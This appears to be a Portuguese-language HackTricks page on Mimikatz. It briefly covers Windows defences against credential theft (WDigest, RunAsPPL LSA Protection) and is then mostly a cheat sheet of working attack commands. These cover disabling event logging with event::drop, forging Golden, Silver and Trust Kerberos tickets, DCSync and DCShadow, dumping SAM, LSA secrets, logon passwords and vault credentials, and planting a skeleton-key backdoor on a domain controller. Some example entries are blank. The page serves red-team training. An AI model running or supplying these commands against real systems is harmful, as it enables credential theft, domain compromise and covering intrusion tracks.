Mimikatz
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Esta página é baseada em uma do adsecurity.org. Confira o original para mais informações!
A partir do Windows 8.1 e Windows Server 2012 R2, medidas significativas foram implementadas para proteger contra o roubo de credenciais:
Hashes LM e senhas em texto claro não são mais armazenados na memória para aumentar a segurança. Uma configuração específica do registro, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential", deve ser configurada com um valor DWORD de 0 para desativar a Autenticação Digest, garantindo que senhas "em texto claro" não sejam armazenadas em cache no LSASS.
Proteção LSA é introduzida para proteger o processo da Autoridade de Segurança Local (LSA) contra leitura não autorizada de memória e injeção de código. Isso é alcançado marcando o LSASS como um processo protegido. A ativação da Proteção LSA envolve:
Modificar o registro em HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa definindo RunAsPPL para dword:00000001.
Implementar um Objeto de Política de Grupo (GPO) que aplica essa alteração de registro em dispositivos gerenciados.
Apesar dessas proteções, ferramentas como Mimikatz podem contornar a Proteção LSA usando drivers específicos, embora tais ações provavelmente sejam registradas nos logs de eventos.
Administradores normalmente têm SeDebugPrivilege, permitindo que eles depurem programas. Este privilégio pode ser restrito para evitar despejos de memória não autorizados, uma técnica comum usada por atacantes para extrair credenciais da memória. No entanto, mesmo com esse privilégio removido, a conta TrustedInstaller ainda pode realizar despejos de memória usando uma configuração de serviço personalizada:
Isso permite o despejo da memória do lsass.exe para um arquivo, que pode então ser analisado em outro sistema para extrair credenciais:
A manipulação de logs de eventos no Mimikatz envolve duas ações principais: limpar logs de eventos e corrigir o serviço de Eventos para evitar o registro de novos eventos. Abaixo estão os comandos para realizar essas ações:
Command: Esta ação tem como objetivo deletar os logs de eventos, dificultando o rastreamento de atividades maliciosas.
O Mimikatz não fornece um comando direto em sua documentação padrão para limpar logs de eventos diretamente via sua linha de comando. No entanto, a manipulação de logs de eventos geralmente envolve o uso de ferramentas de sistema ou scripts fora do Mimikatz para limpar logs específicos (por exemplo, usando PowerShell ou Visualizador de Eventos do Windows).
Command: event::drop
Este comando experimental é projetado para modificar o comportamento do Serviço de Registro de Eventos, efetivamente impedindo-o de registrar novos eventos.
Exemplo: mimikatz "privilege::debug" "event::drop" exit
O comando privilege::debug garante que o Mimikatz opere com os privilégios necessários para modificar serviços do sistema.
O comando event::drop então corrige o serviço de Registro de Eventos.
Um Golden Ticket permite a impersonação de acesso em todo o domínio. Comando e parâmetros principais:
Command: kerberos::golden
Parameters:
/domain: O nome do domínio.
/sid: O Identificador de Segurança (SID) do domínio.
/user: O nome de usuário a ser impersonado.
/krbtgt: O hash NTLM da conta de serviço KDC do domínio.
/ptt: Injeta diretamente o ticket na memória.
/ticket: Salva o ticket para uso posterior.
Exemplo:
Silver Tickets concedem acesso a serviços específicos. Comando e parâmetros principais:
Comando: Semelhante ao Golden Ticket, mas direciona serviços específicos.
Parâmetros:
/service: O serviço a ser direcionado (por exemplo, cifs, http).
Outros parâmetros semelhantes ao Golden Ticket.
Exemplo:
Tickets de Confiança são usados para acessar recursos entre domínios aproveitando relacionamentos de confiança. Comando e parâmetros principais:
Comando: Semelhante ao Golden Ticket, mas para relacionamentos de confiança.
Parâmetros:
/target: O FQDN do domínio alvo.
/rc4: O hash NTLM para a conta de confiança.
Exemplo:
Listar Tickets:
Comando: kerberos::list
Lista todos os tickets do Kerberos para a sessão do usuário atual.
Passar o Cache:
Comando: kerberos::ptc
Injeta tickets do Kerberos a partir de arquivos de cache.
Exemplo: mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
Passar o Ticket:
Comando: kerberos::ptt
Permite usar um ticket do Kerberos em outra sessão.
Exemplo: mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
Limpar Tickets:
Comando: kerberos::purge
Limpa todos os tickets do Kerberos da sessão.
Útil antes de usar comandos de manipulação de tickets para evitar conflitos.
DCShadow: Faz uma máquina agir temporariamente como um DC para manipulação de objetos do AD.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: Imitando um DC para solicitar dados de senha.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
LSADUMP::LSA: Extrai credenciais do LSA.
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: Imitar um DC usando os dados de senha de uma conta de computador.
Nenhum comando específico fornecido para NetSync no contexto original.
LSADUMP::SAM: Acessar o banco de dados SAM local.
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: Descriptografar segredos armazenados no registro.
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: Definir um novo hash NTLM para um usuário.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: Recuperar informações de autenticação de confiança.
mimikatz "lsadump::trust" exit
MISC::Skeleton: Injeta um backdoor no LSASS em um DC.
mimikatz "privilege::debug" "misc::skeleton" exit
PRIVILEGE::Backup: Adquirir direitos de backup.
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: Obter privilégios de depuração.
mimikatz "privilege::debug" exit
SEKURLSA::LogonPasswords: Mostrar credenciais de usuários logados.
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: Extrair tickets do Kerberos da memória.
mimikatz "sekurlsa::tickets /export" exit
SID::add/modify: Alterar SID e SIDHistory.
Adicionar: mimikatz "sid::add /user:targetUser /sid:newSid" exit
Modificar: Nenhum comando específico para modificar no contexto original.
TOKEN::Elevate: Imitar tokens.
mimikatz "token::elevate /domainadmin" exit
TS::MultiRDP: Permitir múltiplas sessões RDP.
mimikatz "ts::multirdp" exit
TS::Sessions: Listar sessões TS/RDP.
Nenhum comando específico fornecido para TS::Sessions no contexto original.
Extrair senhas do Cofre do Windows.
mimikatz "vault::cred /patch" exit
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
